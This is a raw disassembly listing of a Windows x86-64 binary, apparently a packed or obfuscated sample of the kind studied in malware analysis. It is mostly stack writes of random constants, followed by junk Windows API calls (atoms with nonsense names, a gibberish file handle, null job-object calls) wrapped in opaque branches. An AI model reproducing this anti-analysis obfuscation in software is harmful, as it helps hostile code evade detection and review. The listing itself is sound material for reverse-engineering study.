mov dword [rsp + 0x5268], 0x26fe608b
movabs rax, 0xf6d63047aab2bb99
mov qword [rsp + 0xb7c0], rax
mov byte [rsp + 0x124], SHUpdateImageW
mov dword [rsp + 0x526c], 0x7dc97eb1
mov eax, 0x5f55
mov word [rsp + 0x1148], ax
movabs rax, 0x136424b679233696
mov qword [rsp + 0xb7c8], rax
mov eax, 0xd4a
mov word [rsp + 0x114c], ax
mov eax, 0xef1
mov word [rsp + 0x1150], ax
mov byte [rsp + 0x125], 0x39
mov dword [rsp + 0x5270], 0x7208ee53
mov dword [rsp + 0x5274], 0x1dfa0733
mov byte [rsp + 0x126], 0x24
movabs rax, 0x11243972969e2370
mov qword [rsp + 0xb7d0], rax
mov byte [rsp + 0x127], 0x6a
mov dword [rsp + 0x5278], 0xde804848
movabs rax, 0x2a634965ba3df12f
mov qword [rsp + 0xb7d8], rax
mov byte [rsp + 0x128], 0x5c
movabs rax, 0x5075cd7fa1705964
mov qword [rsp + 0xb7e0], rax
mov byte [rsp + 0x129], 0xd6
mov eax, 0x5ea
mov word [rsp + 0x1154], ax
mov dword [rsp + 0x527c], 0x227b95
mov dword [rsp + 0x5280], 0x3821b585
mov eax, 0xd4a
mov word [rsp + 0x1158], ax
mov byte [rsp + 0x12a], 0x5a
movabs rax, 0xec007fea8362cbfb
mov qword [rsp + 0xb7e8], rax
mov byte [rsp + 0x12b], 0x3d
mov eax, 0x35e9
mov word [rsp + 0x115c], ax
mov eax, 0x1c5
mov word [rsp + 0x1160], ax
mov dword [rsp + 0x5284], 0x6d03d57e
mov dword [rsp + 0x5288], 0xc4948241
mov byte [rsp + 0x12c], 0x3c
movabs rax, 0x2da1533d31a46741
mov qword [rsp + 0xb7f0], rax
mov dword [rsp + 0x528c], 0x473022c2
movabs rax, 0xcace569fad5599a9
mov qword [rsp + 0xb7f8], rax
mov dword [rsp + 0x5290], 0xad622f5a
mov eax, 0x5d99
mov word [rsp + 0x1164], ax
mov eax, 0xd27
mov word [rsp + 0x1168], ax
movabs rax, 0x8fef1a48bb1108d5
mov qword [rsp + 0xb800], rax
movabs rax, 0x7319ec24a3f7e320
mov qword [rsp + 0xb808], rax
mov eax, 0x1f08
mov word [rsp + 0x116c], ax
mov dword [rsp + 0x5294], 0x415c4f02
mov dword [rsp + 0x5298], 0x28906932
movabs rax, 0x2e85f753ebd4af9
mov qword [rsp + 0xb810], rax
mov eax, 0x178
mov word [rsp + 0x1170], ax
mov dword [rsp + 0x529c], 0xf06a0ca7
mov dword [rsp + 0x52a0], 0x29e622cb
movabs rax, 0xc183365c23700831
mov qword [rsp + 0xb818], rax
movabs rax, 0x4755430f8c32c1fe
mov qword [rsp + 0xb820], rax
mov dword [rsp + 0x52a4], 0x4ad0aedc
movabs rax, 0xd8053a2dc42a36
mov qword [rsp + 0xb828], rax
mov dword [rsp + 0x52a8], 0x69aa8732
movabs rax, 0x357c2f7bdeb27688
mov qword [rsp + 0xb830], rax
movabs rax, 0xab061ebb8493aab9
mov qword [rsp + 0xb838], rax
mov byte [rsp + 0x12d], 0x1e
mov eax, 0x788
mov word [rsp + 0x1174], ax
movabs rax, 0xaaac90c16558bb3a
mov qword [rsp + 0xb840], rax
movabs rax, 0xa28a932fb5940365
mov qword [rsp + 0xb848], rax
movabs rax, 0x144037ae4ddbb8a9
mov qword [rsp + 0xb850], rax
mov dword [rsp + 0x52ac], 0xac5e94ec
mov eax, 0x6473
mov word [rsp + 0x1178], ax
movabs rax, 0x25183d52f2f5beaf
mov qword [rsp + 0xb858], rax
mov byte [rsp + 0x12e], 0x38
mov dword [rsp + 0x52b0], 0x156b7a1b
mov byte [rsp + 0x12f], 0x23
movabs rax, 0xf5864c54ea2f47f
mov qword [rsp + 0xb860], rax
mov dword [rsp + 0x52b4], 0x45b31cf9
mov eax, 0x5a10
mov word [rsp + 0x117c], ax
movabs rax, 0xb2c0d8a4a3568d3b
mov qword [rsp + 0xb868], rax
mov byte [rsp + 0x130], 0x7f
movabs rax, 0x2868364c6457a998
mov qword [rsp + 0xb870], rax
mov dword [rsp + 0x52b8], 0xe71e508d
mov eax, 0xca7
mov word [rsp + 0x1180], ax
mov eax, 0x125
mov word [rsp + 0x1184], ax
mov byte [rsp + 0x131], 0x37
mov eax, 0x4af
mov word [rsp + 0x1188], ax
mov dword [rsp + 0x52bc], 0x18d532c
mov eax, reloc.SHELL32.dll_ILCloneFirst
mov word [rsp + 0x118c], ax
mov eax, 0x412
mov word [rsp + 0x1190], ax
mov eax, 0x783
mov word [rsp + 0x1194], ax
mov byte [rsp + 0x132], 0x75
mov dword [rsp + 0x52c0], 0x793f367f
movabs rax, 0x64be0b3d65e40e4b
mov qword [rsp + 0xb878], rax
movabs rax, 0x8e4c29c096300387
mov qword [rsp + 0xb880], rax
mov eax, 0xa9f
mov word [rsp + 0x1198], ax
mov dword [rsp + 0x52c4], 0x65f5b7cf
movabs rax, 0x60f25de62f8dd554
mov qword [rsp + 0xb888], rax
mov eax, 0xc6c
mov word [rsp + 0x119c], ax
movabs rax, 0xbd5102abb600d6c6
mov qword [rsp + 0xb890], rax
movabs rax, 0x66ca0e976c24292b
mov qword [rsp + 0xb898], rax
mov dword [rsp + 0x52c8], 0x2537cd81
mov byte [rsp + 0x133], 0xf9
mov byte [rsp + 0x134], 0xd4
movabs rax, 0xd2183892d807049
mov qword [rsp + 0xb8a0], rax
mov eax, 0x1b6e
mov word [rsp + 0x11a0], ax
mov byte [rsp + 0x135], 4
movabs rax, 0x88e59161b640af57
mov qword [rsp + 0xb8a8], rax
mov dword [rsp + 0x52cc], 0xad999656
mov dword [rsp + 0x52d0], 0xf157d06c
mov dword [rsp + 0x52d4], 0x76c04adb
mov dword [rsp + 0x52d8], 0x4c3bd5c2
mov dword [rsp + 0x52dc], 0x7c34fb7d
mov eax, 0xd76
mov word [rsp + 0x11a4], ax
movabs rax, 0x2d4a1b8d4449d249
mov qword [rsp + 0xb8b0], rax
mov dword [rsp + 0x52e0], 0xf8c9981b
mov dword [rsp + 0x52e4], 0x7a904d5a
movabs rax, 0x43816d226bc4929b
mov qword [rsp + 0xb8b8], rax
mov dword [rsp + 0x52e8], 0x68678d15
mov dword [rsp + 0x52ec], 0xd38aa069
movabs rax, 0x319932e2f77f0213
mov qword [rsp + 0xb8c0], rax
movabs rax, 0xd5e00bfb32d78ee
mov qword [rsp + 0xb8c8], rax
mov byte [rsp + 0x136], ILCloneFirst
mov byte [rsp + 0x137], 0x7b
movabs rax, 0xea14f434cb3539ff
mov qword [rsp + 0xb8d0], rax
mov byte [rsp + 0x138], 0x28
movabs rax, 0x973cac7ebaaf5be
mov qword [rsp + 0xb8d8], rax
mov eax, 0xcfa
mov word [rsp + 0x11a8], ax
movabs rax, 0x814e23818471cc9a
mov qword [rsp + 0xb8e0], rax
mov byte [rsp + 0x139], 0x3f
mov eax, 0x36c
mov word [rsp + 0x11ac], ax
movabs rax, 0x5c4dcae16f4dde6d
mov qword [rsp + 0xb8e8], rax
mov eax, 0xc15
mov word [rsp + 0x11b0], ax
mov eax, 0xfc6
mov word [rsp + 0x11b4], ax
mov byte [rsp + 0x13a], 0x56
mov byte [rsp + 0x13b], 0x83
movabs rax, 0x81e195485cc9e05b
mov qword [rsp + 0xb8f0], rax
mov dword [rsp + 0x52f0], 0x56b0c554
mov eax, 0x2af2
mov word [rsp + 0x11b8], ax
mov eax, 0x23cc
mov word [rsp + 0x11bc], ax
mov byte [rsp + 0x13c], 0x25
movabs rax, 0x7d9a88aa43bd4e08
mov qword [rsp + 0xb8f8], rax
mov eax, 0x7367
mov word [rsp + 0x11c0], ax
mov byte [rsp + 0x13d], reloc.SHELL32.dll_ILCombine
mov byte [rsp + 0x13e], 1
mov byte [rsp + 0x13f], 0x51
movabs rax, 0xdebda6687a79502
mov qword [rsp + 0xb900], rax
mov byte [rsp + 0x140], 0x41
movabs rax, 0x3a5e650db7b0f093
mov qword [rsp + 0xb908], rax
movabs rax, 0x365f8c043d80b354
mov qword [rsp + 0xb910], rax
mov dword [rsp + 0x52f4], 0x62ab611d
mov eax, 0x6689
mov word [rsp + 0x11c4], ax
movabs rax, 0x1e91fd98290845d7
mov qword [rsp + 0xb918], rax
mov byte [rsp + 0x141], reloc.SHELL32.dll_ILClone
mov dword [rsp + 0x52f8], 0x2ede4f94
mov dword [rsp + 0x52fc], 0x4fb3939b
mov byte [rsp + 0x142], 0x81
movabs rax, 0x1b538a6a3b3174a1
mov qword [rsp + 0xb920], rax
mov byte [rsp + 0x143], 8
mov byte [rsp + 0x144], 0x34
mov eax, 0x6ca4
mov word [rsp + 0x11c8], ax
mov dword [rsp + 0x5300], 0x302196f9
movabs rax, 0x391bc58dda684ad2
mov qword [rsp + 0xb928], rax
mov dword [rsp + 0x5304], 0xd1333e85
mov byte [rsp + 0x145], 0x79
movabs rax, 0x42fa04a74ecba9bb
mov qword [rsp + 0xb930], rax
mov eax, 0xa38
mov word [rsp + 0x11cc], ax
mov byte [rsp + 0x146], 0x34
mov byte [rsp + 0x147], 0x1c
mov byte [rsp + 0x148], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5308], 0xe06fc53f
movabs rax, 0x3dd1727690964b60
mov qword [rsp + 0xb938], rax
mov byte [rsp + 0x149], 0x3c
mov byte [rsp + 0x14a], 0x1e
mov byte [rsp + 0x14b], 0xc2
mov eax, 0x4766
mov word [rsp + 0x11d0], ax
mov byte [rsp + 0x14c], reloc.SHELL32.dll_ILIsParent
mov eax, 0x5da3
mov word [rsp + 0x11d4], ax
mov byte [rsp + 0x14d], 0x1c
movabs rax, 0x24b21f9d020fd535
mov qword [rsp + 0xb940], rax
movabs rax, 0x7a6dda20543a24fd
mov qword [rsp + 0xb948], rax
mov byte [rsp + 0x14e], reloc.SHELL32.dll_ILIsEqual
movabs rax, 0x5e98899c97683b6c
mov qword [rsp + 0xb950], rax
mov eax, 0x33c0
mov word [rsp + 0x11d8], ax
movabs rax, 0x7f9114dd4cdbd743
mov qword [rsp + 0xb958], rax
mov byte [rsp + 0x14f], 0x75
movabs rax, 0x37040b08c4ff317
mov qword [rsp + 0xb960], rax
movabs rax, 0x647b19578495f9d3
mov qword [rsp + 0xb968], rax
mov byte [rsp + 0x150], 0x40
mov eax, 0x4ca
mov word [rsp + 0x11dc], ax
mov dword [rsp + 0x530c], 0x60ac9046
mov dword [rsp + 0x5310], 0x3511d39
movabs rax, 0x521293b0bfa1c576
mov qword [rsp + 0xb970], rax
mov dword [rsp + 0x5314], 0xe3686094
mov dword [rsp + 0x5318], 0xefdd784b
mov dword [rsp + 0x531c], 0x2d91ab6c
movabs rax, 0x7a6c220922092823
mov qword [rsp + 0xb978], rax
mov eax, 0x2edd
mov word [rsp + 0x11e0], ax
movabs rax, 0x5d32cdf3adca4c28
mov qword [rsp + 0xb980], rax
mov dword [rsp + 0x5320], 0x62be8218
movabs rax, 0xb8de6a342ee4d2f0
mov qword [rsp + 0xb988], rax
mov dword [rsp + 0x5324], 0x73a0c4a9
movabs rax, 0x1e6f8c08dc4075a2
mov qword [rsp + 0xb990], rax
mov byte [rsp + 0x151], SHUpdateImageW
mov byte [rsp + 0x152], 0xce
movabs rax, 0x5ae20887d508aecf
mov qword [rsp + 0xb998], rax
mov eax, 0x729d
mov word [rsp + 0x11e4], ax
mov byte [rsp + reloc.SHELL32.dll_ILIsEqual3], 0x15
mov eax, 0x3601
mov word [rsp + 0x11e8], ax
mov dword [rsp + 0x5328], 0xb7e0d238
movabs rax, 0x1fec6a018869e0b8
mov qword [rsp + 0xb9a0], rax
movabs rax, 0x6bb282e1bb5e80e1
mov qword [rsp + 0xb9a8], rax
mov byte [rsp + 0x154], 6
movabs rax, 0x54e28be0b7e72c7d
mov qword [rsp + 0xb9b0], rax
mov dword [rsp + 0x532c], 0x499071d7
mov byte [rsp + 0x155], PathYetAnotherMakeUniqueName
movabs rax, 0xd2f439bfe939e23
mov qword [rsp + 0xb9b8], rax
mov dword [rsp + 0x5330], 0x3ab5b885
mov byte [rsp + 0x156], 0x7c
mov eax, 0x48f
mov word [rsp + 0x11ec], ax
mov dword [rsp + 0x5334], 0x2ad62e85
mov dword [rsp + 0x5338], 0x4358b11f
mov eax, 0x435
mov word [rsp + 0x11f0], ax
mov eax, 0x295f
mov word [rsp + 0x11f4], ax
mov eax, 0x27cc
mov word [rsp + 0x11f8], ax
mov byte [rsp + 0x157], 0x61
movabs rax, 0x5a75ad9afbbfdc41
mov qword [rsp + 0xb9c0], rax
movabs rax, 0x8598201e018b7dac
mov qword [rsp + 0xb9c8], rax
mov dword [rsp + 0x533c], 0x24246fcc
mov byte [rsp + 0x158], 0x75
mov eax, 0x33c8
mov word [rsp + 0x11fc], ax
movabs rax, 0x46a1cc528279f006
mov qword [rsp + 0xb9d0], rax
movabs rax, 0x1f02ff326d598189
mov qword [rsp + 0xb9d8], rax
movabs rax, 0x3f1d985094e9bf5e
mov qword [rsp + 0xb9e0], rax
movabs rax, 0x191e45749621a5e1
mov qword [rsp + 0xb9e8], rax
mov eax, 0xc4b
mov word [rsp + 0x1200], ax
movabs rax, 0x3940bf33a11cee93
mov qword [rsp + 0xb9f0], rax
mov dword [rsp + 0x5340], 0x2c723168
mov dword [rsp + 0x5344], 0x6dcffcb1
movabs rax, 0x3d77e2763196770d
mov qword [rsp + 0xb9f8], rax
movabs rax, 0xca8585e0dcc14bc9
mov qword [rsp + 0xba00], rax
mov eax, 0x21e
mov word [rsp + 0x1204], ax
mov byte [rsp + 0x159], 0x36
mov eax, 0xd6
mov word [rsp + 0x1208], ax
mov byte [rsp + 0x15a], 0x36
mov dword [rsp + 0x5348], 0xbbfaa9ca
mov dword [rsp + 0x534c], 0x4bfdd6b5
mov dword [rsp + 0x5350], 0xfa9cbf4
mov dword [rsp + 0x5354], 0xd3fe7d3
movabs rax, 0x311639bdad3d807d
mov qword [rsp + 0xba08], rax
mov byte [rsp + 0x15b], 0x73
mov byte [rsp + 0x15c], 0x36
movabs rax, 0x150873bf973df086
mov qword [rsp + 0xba10], rax
mov eax, 0x235
mov word [rsp + 0x120c], ax
movabs rax, 0x6341491059b51e43
mov qword [rsp + 0xba18], rax
mov eax, 0x4f6
mov word [rsp + 0x1210], ax
mov dword [rsp + 0x5358], 0xa13f2dea
mov byte [rsp + 0x15d], 0x9c
movabs rax, 0x4f75de171bbe6305
mov qword [rsp + 0xba20], rax
movabs rax, 0x57cc9416efe3e526
mov qword [rsp + 0xba28], rax
mov dword [rsp + 0x535c], 0x4fc2111a
mov byte [rsp + 0x15e], 0x2e
mov eax, 0x1500
mov word [rsp + 0x1214], ax
mov dword [rsp + 0x5360], 0x8f1c08f8
mov dword [rsp + 0x5364], 0x39b60a42
mov byte [rsp + 0x15f], 0x7f
mov dword [rsp + 0x5368], 0x728b96f6
movabs rax, 0xdf10ac66df901318
mov qword [rsp + 0xba30], rax
movabs rax, 0x173cbe4ca2b042d8
mov qword [rsp + 0xba38], rax
mov dword [rsp + 0x536c], 0x8d9476ee
mov eax, 0x66a
mov word [rsp + 0x1218], ax
mov dword [rsp + 0x5370], 0x87201bea
movabs rax, 0xf8e81a465119b119
mov qword [rsp + 0xba40], rax
mov dword [rsp + 0x5374], 0x8900d225
mov dword [rsp + 0x5378], 0x6b686379
mov dword [rsp + 0x537c], 0xccb0a258
mov eax, 0x558e
mov word [rsp + 0x121c], ax
mov dword [rsp + 0x5380], 0xecc01d78
movabs rax, 0xa2516560476971fa
mov qword [rsp + 0xba48], rax
movabs rax, 0x531cac775889db84
mov qword [rsp + 0xba50], rax
movabs rax, 0x599cdff3346194ba
mov qword [rsp + 0xba58], rax
mov eax, 0xf9c
mov word [rsp + 0x1220], ax
movabs rax, 0xda8b46f7e8276bd5
mov qword [rsp + 0xba60], rax
movabs rax, 0x11f085a9ef1a0397
mov qword [rsp + 0xba68], rax
mov eax, 0x238
mov word [rsp + 0x1224], ax
mov dword [rsp + 0x5384], 0x10cfb939
mov eax, 0x1a0
mov word [rsp + 0x1228], ax
movabs rax, 0xf0614d9ee7d32fa8
mov qword [rsp + 0xba70], rax
movabs rax, 0x989156f1b8f98203
mov qword [rsp + 0xba78], rax
mov byte [rsp + 0x160], 0x50
mov eax, 0x885
mov word [rsp + 0x122c], ax
movabs rax, 0x5c849c91be2c1ed
mov qword [rsp + 0xba80], rax
mov eax, 0x7c14
mov word [rsp + 0x1230], ax
mov dword [rsp + 0x5388], 0x5b02627c
mov eax, 0x4aac
mov word [rsp + 0x1234], ax
mov byte [rsp + 0x161], 0x4e
mov dword [rsp + 0x538c], 0x4c37eaa1
mov byte [rsp + 0x162], 0x35
movabs rax, 0x66ef6b32ee9b3ac7
mov qword [rsp + 0xba88], rax
mov byte [rsp + 0x163], SHUpdateImageW
mov eax, 0x78a0
mov word [rsp + 0x1238], ax
mov dword [rsp + 0x5390], 0xd29388d7
movabs rax, 0x76c2f7e25dff52a5
mov qword [rsp + 0xba90], rax
mov eax, 0x2a7
mov word [rsp + 0x123c], ax
movabs rax, 0x482ee95a1b9bbb76
mov qword [rsp + 0xba98], rax
mov dword [rsp + 0x5394], 0x6f3e1dfc
mov byte [rsp + 0x164], ILRemoveLastID
mov byte [rsp + 0x165], 0x35
mov byte [rsp + 0x166], reloc.SHELL32.dll_PathYetAnotherMakeUniqueName
mov eax, 0x4a43
mov word [rsp + 0x1240], ax
mov byte [rsp + 0x167], 0xe3
movabs rax, 0xeb83ec1d545bb73f
mov qword [rsp + 0xbaa0], rax
movabs rax, 0x3ea4dba98a05cb5f
mov qword [rsp + 0xbaa8], rax
mov byte [rsp + 0x168], 0x7a
mov byte [rsp + 0x169], 0x55
mov byte [rsp + 0x16a], 0x30
mov dword [rsp + 0x5398], 0x74414257
mov eax, 0xce1
mov word [rsp + 0x1244], ax
mov eax, 0x69f7
mov word [rsp + 0x1248], ax
mov byte [rsp + 0x16b], 0x1c
mov eax, 0x4149
mov word [rsp + 0x124c], ax
mov byte [rsp + 0x16c], 0xcd
mov byte [rsp + 0x16d], 0x23
mov eax, 0x664
mov word [rsp + 0x1250], ax
mov dword [rsp + 0x539c], 0x580f619
mov dword [rsp + 0x53a0], 0xe7eed54
mov dword [rsp + 0x53a4], 0x335d93f6
mov eax, 0xd38
mov word [rsp + 0x1254], ax
mov byte [rsp + 0x16e], 0x1e
mov dword [rsp + 0x53a8], 0x615a15fe
mov byte [rsp + 0x16f], 0x59
movabs rax, 0x547b9e135c7133a8
mov qword [rsp + 0xbab0], rax
movabs rax, 0x562b366f26421367
mov qword [rsp + 0xbab8], rax
mov eax, 0x5f37
mov word [rsp + 0x1258], ax
mov eax, 0x71fd
mov word [rsp + 0x125c], ax
movabs rax, 0x5df3709551743311
mov qword [rsp + 0xbac0], rax
mov eax, 0x70c
mov word [rsp + 0x1260], ax
mov eax, 0xda6
mov word [rsp + 0x1264], ax
mov dword [rsp + 0x53ac], 0xe61a62f2
mov dword [rsp + 0x53b0], 0xa5550ea
mov eax, 0x3054
mov word [rsp + 0x1268], ax
movabs rax, 0x744681ed97d23182
mov qword [rsp + 0xbac8], rax
mov byte [rsp + 0x170], PathYetAnotherMakeUniqueName
movabs rax, 0x16e1f47702d061a6
mov qword [rsp + 0xbad0], rax
mov eax, 0xa64
mov word [rsp + 0x126c], ax
mov dword [rsp + 0x53b4], 0x257ebdde
mov eax, 0xb7b
mov word [rsp + 0x1270], ax
mov eax, 0x3a1f
mov word [rsp + 0x1274], ax
mov dword [rsp + 0x53b8], 0x82a4e615
mov byte [rsp + 0x171], 0xec
movabs rax, 0xbbcac47ea619705c
mov qword [rsp + 0xbad8], rax
mov byte [rsp + 0x172], SHUpdateImageW
mov eax, 0x676d
mov word [rsp + 0x1278], ax
mov byte [rsp + 0x173], 0x5d
mov dword [rsp + 0x53bc], 0x4a0c4e5b
mov byte [rsp + 0x174], 0xec
mov byte [rsp + 0x175], 0xa0
mov byte [rsp + 0x176], 0xab
mov dword [rsp + 0x53c0], 0xdfbdcbc9
mov dword [rsp + 0x53c4], 0xed3ac830
movabs rax, 0x657d0b1c7e16248b
mov qword [rsp + 0xbae0], rax
mov byte [rsp + 0x177], SHUpdateImageW
mov byte [rsp + 0x178], 0x77
mov byte [rsp + 0x179], 0x79
movabs rax, 0x7514da4fadbf2702
mov qword [rsp + 0xbae8], rax
mov dword [rsp + 0x53c8], 0x8f0ee971
mov byte [rsp + 0x17a], 0x67
mov byte [rsp + 0x17b], 0xec
mov dword [rsp + 0x53cc], 0xb677c578
mov eax, 0xe8
mov word [rsp + 0x127c], ax
mov eax, 0x3ac2
mov word [rsp + 0x1280], ax
mov eax, 0x7fef
mov word [rsp + 0x1284], ax
mov byte [rsp + 0x17c], 0xe4
mov byte [rsp + 0x17d], 5
mov dword [rsp + 0x53d0], 0x3e304a3
movabs rax, 0x4c88039fce9cbb4a
mov qword [rsp + 0xbaf0], rax
mov eax, 0xa6b
mov word [rsp + 0x1288], ax
mov dword [rsp + 0x53d4], 0xae37e7e3
mov eax, 0xc4d
mov word [rsp + 0x128c], ax
movabs rax, 0x8a47e47687c22add
mov qword [rsp + 0xbaf8], rax
movabs rax, 0x423d5a6c2a39635b
mov qword [rsp + 0xbb00], rax
mov eax, 0x899
mov word [rsp + 0x1290], ax
mov dword [rsp + 0x53d8], 0xce8406f0
mov eax, 0xad5
mov word [rsp + 0x1294], ax
mov dword [rsp + 0x53dc], 0x5ecda2b
mov eax, 0x6f6
mov word [rsp + 0x1298], ax
movabs rax, 0x64d6be0d60a512b
mov qword [rsp + 0xbb08], rax
movabs rax, 0x680ec8735800124e
mov qword [rsp + 0xbb10], rax
movabs rax, 0x13584ca69dc24b77
mov qword [rsp + 0xbb18], rax
mov byte [rsp + 0x17e], 0x3b
mov byte [rsp + 0x17f], 0x6b
mov byte [rsp + 0x180], 0xca
mov eax, 0x13f8
mov word [rsp + 0x129c], ax
mov dword [rsp + 0x53e0], 0xae65a3ff
movabs rax, 0x7aafe9c82bdcaeab
mov qword [rsp + 0xbb20], rax
movabs rax, 0x69fd79363561f412
mov qword [rsp + 0xbb28], rax
mov byte [rsp + 0x181], ILCreateFromPathW
mov byte [rsp + 0x182], 0x8d
movabs rax, 0xaa3b925d7aea9ffb
mov qword [rsp + 0xbb30], rax
movabs rax, 0x5dd17140395a5b30
mov qword [rsp + 0xbb38], rax
mov byte [rsp + 0x183], 0x70
movabs rax, 0x6dd4bf8b28b2c63c
mov qword [rsp + 0xbb40], rax
mov dword [rsp + 0x53e4], 0x3b3a5020
mov eax, 0xd24
mov word [rsp + 0x12a0], ax
mov dword [rsp + 0x53e8], 0x413a1bb4
mov eax, 0x151
mov word [rsp + 0x12a4], ax
mov byte [rsp + 0x184], 0x1e
movabs rax, 0x7a4f621319108ac0
mov qword [rsp + 0xbb48], rax
movabs rax, 0xa6f41973a9f9e09
mov qword [rsp + 0xbb50], rax
mov eax, 0x752
mov word [rsp + 0x12a8], ax
mov byte [rsp + 0x185], 0x3d
mov byte [rsp + 0x186], 0x7a
mov dword [rsp + 0x53ec], 0x9e4cc6d6
movabs rax, 0x2ec9bb67a4f55e27
mov qword [rsp + 0xbb58], rax
movabs rax, 0x3653616b5ec5e88
mov qword [rsp + 0xbb60], rax
mov byte [rsp + 0x187], 8
mov byte [rsp + 0x188], 0x57
mov byte [rsp + 0x189], 0xd3
movabs rax, 0x754c3af9fa77edc5
mov qword [rsp + 0xbb68], rax
mov dword [rsp + 0x53f0], 0x72e56bbd
mov byte [rsp + 0x18a], 0x28
mov eax, 0x194
mov word [rsp + 0x12ac], ax
movabs rax, 0x2218b8e6c78bd292
mov qword [rsp + 0xbb70], rax
mov dword [rsp + 0x53f4], 0x32b9e66e
mov byte [rsp + 0x18b], reloc.SHELL32.dll_SHUpdateImageW
mov byte [rsp + 0x18c], 0x24
mov dword [rsp + 0x53f8], 0x1cda2cc3
mov byte [rsp + 0x18d], 0x3a
mov byte [rsp + 0x18e], 0x61
movabs rax, 0x7ca3f0f4a116546
mov qword [rsp + 0xbb78], rax
movabs rax, 0x17ac24a46ceee13e
mov qword [rsp + 0xbb80], rax
mov eax, 0x2fff
mov word [rsp + 0x12b0], ax
movabs rax, 0xf88636758124712a
mov qword [rsp + 0xbb88], rax
mov byte [rsp + 0x18f], 0xa2
mov eax, 0x2ba3
mov word [rsp + 0x12b4], ax
mov eax, 0x379
mov word [rsp + 0x12b8], ax
mov byte [rsp + 0x190], 0x33
mov dword [rsp + 0x53fc], 0xffac2b06
movabs rax, 0x1295126e3a50bfa5
mov qword [rsp + 0xbb90], rax
movabs rax, 0x44059e2847531f3
mov qword [rsp + 0xbb98], rax
mov byte [rsp + 0x191], 0x2e
mov byte [rsp + 0x192], 0x6f
mov byte [rsp + 0x193], 0x36
mov dword [rsp + 0x5400], 0xe810ae61
mov eax, 0x8c4
mov word [rsp + 0x12bc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x5404], eax
lea rcx, [rsp + 0x2b8d0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov byte [rsp + 0x194], 0x7c
movsx eax, byte [rsp + 0x194]
cmp eax, 0x55
je 0x140213704
movabs rax, 0x42e1308e3af4846c
mov rcx, qword [rsp + 0xb800]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb800], rax
mov dword [rsp + 0x5408], 0xb1e2
lea rcx, str.Originated_Flurries
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12c0], ax
lea rcx, str.Cookers_Remaindering_Kuwait_fungous
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12c4], ax
mov dword [rsp + 0x540c], 0x636d
mov byte [rsp + 0x195], 0x67
mov eax, 0x5f6
mov word [rsp + 0x12c8], ax
movzx eax, word [rsp + 0x12c8]
mov word [rsp + 0x12cc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.flaxenprimlyLivelihood_amnioticCockney
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbba0], rax
cmp dword [rsp + 0x540c], 0x8599
je 0x140005a23
movzx eax, byte [rsp + 0x195]
shl eax, 6
mov byte [rsp + 0x195], al
movsx eax, byte [rsp + 0x194]
xor eax, 0x2a
mov byte [rsp + 0x194], al
lea rcx, [rsp + 0xbba8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx eax, byte [rsp + 0x195]
sar eax, 5
mov byte [rsp + 0x195], al
movabs rax, 0x1908dc0f324be384
mov rcx, qword [rsp + 0xb800]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb800], rax
movzx eax, byte [rsp + 0x195]
sub eax, 0xbd
mov byte [rsp + 0x195], al
lea rdx, [rsp + 0x5410]
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x5414], eax
movzx eax, word [rsp + 0x12c8]
add eax, 0x66f
mov word [rsp + 0x12cc], ax
movzx eax, byte [rsp + 0x195]
and eax, 0x5c
mov byte [rsp + 0x195], al
movzx eax, byte [rsp + 0x195]
add eax, 0x4a
mov byte [rsp + 0x195], al
movabs rax, 0xf56e7be8f6bf7f12
mov rcx, qword [rsp + 0xb800]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb800], rax
movzx eax, word [rsp + 0x12c8]
add eax, 0x12e
mov word [rsp + 0x12cc], ax
mov eax, dword [rsp + 0x540c]
add eax, 0xa2
mov dword [rsp + 0x540c], eax
movzx ecx, word [rsp + 0x12c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12d0], ax
movsx eax, byte [rsp + 0x194]
sub eax, 0x75
mov byte [rsp + 0x194], al
movsx eax, byte [rsp + 0x194]
sar eax, 6
mov byte [rsp + 0x194], al
lea rdx, [rsp + 0x2fd40]
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5418], eax
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5410], eax
movzx eax, byte [rsp + 0x195]
xor eax, 0x2a
mov byte [rsp + 0x195], al
movzx eax, byte [rsp + 0x195]
or eax, 0x6b
mov byte [rsp + 0x195], al
jmp 0x140005867
movzx eax, word [rsp + 0x12cc]
movzx ecx, word [rsp + 0x12c8]
shl eax, cl
mov word [section..data], ax
movzx eax, byte [rsp + 0x195]
mov byte [rsp + 0x541c], al
cmp byte [rsp + 0x541c], 0x85
je 0x140005a57
jmp 0x140005a8e
lea rax, [rsp + 0x12c8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x194]
mov r8d, 0xc4
mov edx, 0x71
mov rcx, qword [rsp + 0xbbb0]
call qword [sym.imp.USER32.dll_ScrollWindow]
mov dword [rsp + 0x5420], eax
jmp 0x140005ac5
movabs rax, 0x2ebf746cb0e85c91
mov qword [rsp + 0xbbb8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x5424], 0x9d53
lea rax, [rsp + 0x194]
mov qword [rsp + 0xbbc0], rax
mov eax, 0x524c
mov word [rsp + 0x12d4], ax
movsx eax, word [rsp + 0x12d4]
mov dword [rsp + 0x5428], eax
cmp dword [rsp + 0x5428], 0x4a01
je 0x140005af3
jmp 0x140005b94
movzx eax, byte [rsp + 0x195]
mov byte [rsp + 0x542c], al
cmp byte [rsp + 0x542c], 0xc2
je 0x140005b0e
jmp 0x140005b7a
lea rax, [rsp + 0x12d4]
